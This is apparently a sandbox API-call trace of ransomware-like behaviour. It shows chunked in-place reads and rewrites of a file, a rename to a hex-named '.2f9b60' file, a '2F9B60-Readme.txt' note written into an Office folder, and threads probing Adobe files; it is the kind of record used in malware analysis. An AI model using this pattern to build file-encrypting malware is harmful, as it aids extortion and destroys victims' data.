[0147.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0147.339] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.339] ReadFile (in: hFile=0x1ce8, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d1efc60, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x3d1efc60*=0x3c00, lpOverlapped=0x0) returned 1 [0147.343] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0147.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504910 [0147.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0147.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263260) returned 1 [0147.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0147.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0147.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0147.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0147.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504910) returned 1 [0147.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0147.344] WriteFile (in: hFile=0x1ce8, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d1efc60, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x3d1efc60*=0x3c00, lpOverlapped=0x0) returned 1 [0161.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0161.136] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.136] ReadFile (in: hFile=0x1ce8, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d1efc60, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x3d1efc60*=0x3c00, lpOverlapped=0x0) returned 1 [0165.631] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0165.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff190) returned 1 [0165.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf0b2d0 [0165.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0165.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff160 [0165.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff160) returned 1 [0165.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.633] WriteFile (in: hFile=0x1ce8, lpBuffer=0x1cf0b2d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d1efc60, lpOverlapped=0x0 | out: lpBuffer=0x1cf0b2d0*, lpNumberOfBytesWritten=0x3d1efc60*=0x3c00, lpOverlapped=0x0) returned 1 [0187.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0b2d0) returned 1 [0187.141] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x48850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.141] ReadFile (in: hFile=0x1ce8, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d1efc60, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x3d1efc60*=0x3c00, lpOverlapped=0x0) returned 1 [0190.573] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x48850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d70 [0190.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138d70) returned 1 [0190.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b0c200 [0190.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138d70 [0190.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138da0 [0190.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138da0) returned 1 [0190.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.576] WriteFile (in: hFile=0x1ce8, lpBuffer=0x42b0c200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d1efc60, lpOverlapped=0x0 | out: lpBuffer=0x42b0c200*, lpNumberOfBytesWritten=0x3d1efc60*=0x3c00, lpOverlapped=0x0) returned 1 [0205.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b0c200) returned 1 [0205.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f2f0 [0205.308] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.308] WriteFile (in: hFile=0x1ce8, lpBuffer=0x431f4f60*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3d1efd10, lpOverlapped=0x0 | out: lpBuffer=0x431f4f60*, lpNumberOfBytesWritten=0x3d1efd10*=0x14a, lpOverlapped=0x0) returned 1 [0208.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0208.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6260 [0208.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6260) returned 1 [0208.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0208.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6260 [0208.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b30 [0208.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b30) returned 1 [0208.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0208.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e370 [0208.561] sprintf (in: _Dest=0x1ce5e370, _Format="%c%c" | out: _Dest="44") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e372, _Format="%c%c" | out: _Dest="03") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e374, _Format="%c%c" | out: _Dest="98") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e376, _Format="%c%c" | out: _Dest="bd") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e378, _Format="%c%c" | out: _Dest="33") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e37a, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e37c, _Format="%c%c" | out: _Dest="b8") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e37e, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e380, _Format="%c%c" | out: _Dest="67") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e382, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e384, _Format="%c%c" | out: _Dest="87") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e386, _Format="%c%c" | out: _Dest="c6") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e388, _Format="%c%c" | out: _Dest="83") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e38a, _Format="%c%c" | out: _Dest="9b") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e38c, _Format="%c%c" | out: _Dest="72") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e38e, _Format="%c%c" | out: _Dest="f7") returned 2 [0208.561] sprintf (in: _Dest=0x1ce5e390, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.562] sprintf (in: _Dest=0x1ce5e392, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.562] sprintf (in: _Dest=0x1ce5e394, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.562] sprintf (in: _Dest=0x1ce5e396, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.562] sprintf (in: _Dest=0x1ce5e398, _Format="%c%c" | out: _Dest="99") returned 2 [0208.562] sprintf (in: _Dest=0x1ce5e39a, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.562] sprintf (in: _Dest=0x1ce5e39c, _Format="%c%c" | out: _Dest="7b") returned 2 [0208.562] sprintf (in: _Dest=0x1ce5e39e, _Format="%c%c" | out: _Dest="4c") returned 2 [0208.562] RtlInitAnsiString (in: DestinationString=0x3d1efd88, SourceString="440398bd337cb8a8673f87c6839b72f7b63d0d0e991b7b4c" | out: DestinationString="440398bd337cb8a8673f87c6839b72f7b63d0d0e991b7b4c") [0208.562] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d1efd58, SourceString="440398bd337cb8a8673f87c6839b72f7b63d0d0e991b7b4c", AllocateDestinationString=1 | out: DestinationString="440398bd337cb8a8673f87c6839b72f7b63d0d0e991b7b4c") returned 0x0 [0208.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f1a0 [0208.562] wcscat (in: _Dest=0x431834e0, _Source="440398bd337c" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\440398bd337c") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\440398bd337c" [0208.562] wcscat (in: _Dest=0x431834e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\440398bd337c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\440398bd337c.2f9b60" [0208.562] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\440398bd337c.2f9b60", NtPathName=0x3d1efd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\440398bd337c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106940 [0210.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 [0210.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a6f50) returned 1 [0210.550] NtQueryInformationFile (in: FileHandle=0x1ce8, IoStatusBlock=0x3d1efd98, FileInformation=0x3d1efda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d1efd98, FileInformation=0x3d1efda8) returned 0x0 [0210.550] NtSetInformationFile (FileHandle=0x1ce8, IoStatusBlock=0x3d1efd98, FileInformation=0x3d1efda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431834e0) returned 1 [0215.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319f1a0) returned 1 [0215.271] FlushFileBuffers (hFile=0x1ce8) returned 1 [0215.273] CloseHandle (hObject=0x1ce8) returned 1 [0219.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318c2a0 [0219.006] wcscpy (in: _Dest=0x4318c2a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\" [0219.006] wcscat (in: _Dest=0x4318c2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\2F9B60-Readme.txt" [0219.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0219.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a64 [0222.313] WriteFile (in: hFile=0x1a64, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3d1efc50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3d1efc50*=0xba9, lpOverlapped=0x0) returned 1 [0224.613] CloseHandle (hObject=0x1a64) returned 1 [0225.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318c2a0) returned 1 [0225.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af4f0) returned 1 Thread: id = 2213 os_tid = 0x16a0 [0142.628] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.dan")) returned 0x20 [0142.631] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN", dwFileAttributes=0x20) returned 0 [0142.633] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.dan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.637] GetLastError () returned 0x5 [0142.637] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DAN", dwFileAttributes=0x20) returned 0 [0142.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 Thread: id = 2214 os_tid = 0x16a4 [0142.643] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.deu")) returned 0x20 [0142.646] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU", dwFileAttributes=0x20) returned 0 [0142.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.deu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.654] GetLastError () returned 0x5 [0142.654] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.DEU", dwFileAttributes=0x20) returned 0 [0142.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b370) returned 1 Thread: id = 2215 os_tid = 0x16a8 [0142.659] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.esp")) returned 0x20 [0142.663] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP", dwFileAttributes=0x20) returned 0 [0142.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.esp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.669] GetLastError () returned 0x5 [0142.669] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ESP", dwFileAttributes=0x20) returned 0 [0142.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b2d0) returned 1 Thread: id = 2216 os_tid = 0x16ac [0142.674] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.euq")) returned 0x20 [0142.678] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ", dwFileAttributes=0x20) returned 0 [0142.680] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.685] GetLastError () returned 0x5 [0142.685] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.EUQ", dwFileAttributes=0x20) returned 0 [0142.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b230) returned 1 Thread: id = 2217 os_tid = 0x16b0 [0142.694] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.fra")) returned 0x20 [0142.697] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA", dwFileAttributes=0x20) returned 0 [0142.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.fra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.707] GetLastError () returned 0x5 [0142.707] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.FRA", dwFileAttributes=0x20) returned 0 [0142.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b190) returned 1 Thread: id = 2218 os_tid = 0x16b4 [0142.715] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.hrv")) returned 0x20 [0142.717] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV", dwFileAttributes=0x20) returned 0 [0142.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.723] GetLastError () returned 0x5 [0142.723] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV", dwFileAttributes=0x20) returned 0 [0142.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b0f0) returned 1 Thread: id = 2219 os_tid = 0x16b8 [0142.727] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.hun")) returned 0x20 [0142.729] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN", dwFileAttributes=0x20) returned 0 [0142.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.738] GetLastError () returned 0x5 [0142.738] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN", dwFileAttributes=0x20) returned 0 [0142.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b050) returned 1 Thread: id = 2220 os_tid = 0x16bc [0142.745] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.ita")) returned 0x20 [0142.748] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA", dwFileAttributes=0x20) returned 0 [0142.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.ita"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.754] GetLastError () returned 0x5 [0142.754] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA", dwFileAttributes=0x20) returned 0 [0142.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507690) returned 1 Thread: id = 2221 os_tid = 0x16c0 [0142.770] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.jpn")) returned 0x20 [0142.773] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN", dwFileAttributes=0x20) returned 0 [0142.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.jpn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.778] GetLastError () returned 0x5 [0142.778] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN", dwFileAttributes=0x20) returned 0 [0142.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507730) returned 1 Thread: id = 2222 os_tid = 0xdc8 [0142.783] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.kor")) returned 0x20 [0142.786] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR", dwFileAttributes=0x20) returned 0 [0142.789] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.kor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.793] GetLastError () returned 0x5 [0142.793] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR", dwFileAttributes=0x20) returned 0 [0142.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205077d0) returned 1 Thread: id = 2223 os_tid = 0xdcc [0142.799] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.nld")) returned 0x20 [0142.801] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD", dwFileAttributes=0x20) returned 0 [0142.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.nld"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.807] GetLastError () returned 0x5 [0142.807] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD", dwFileAttributes=0x20) returned 0 [0142.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507870) returned 1 Thread: id = 2224 os_tid = 0xdd0 [0142.817] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.nor")) returned 0x20 [0142.820] SetFileAttributesW 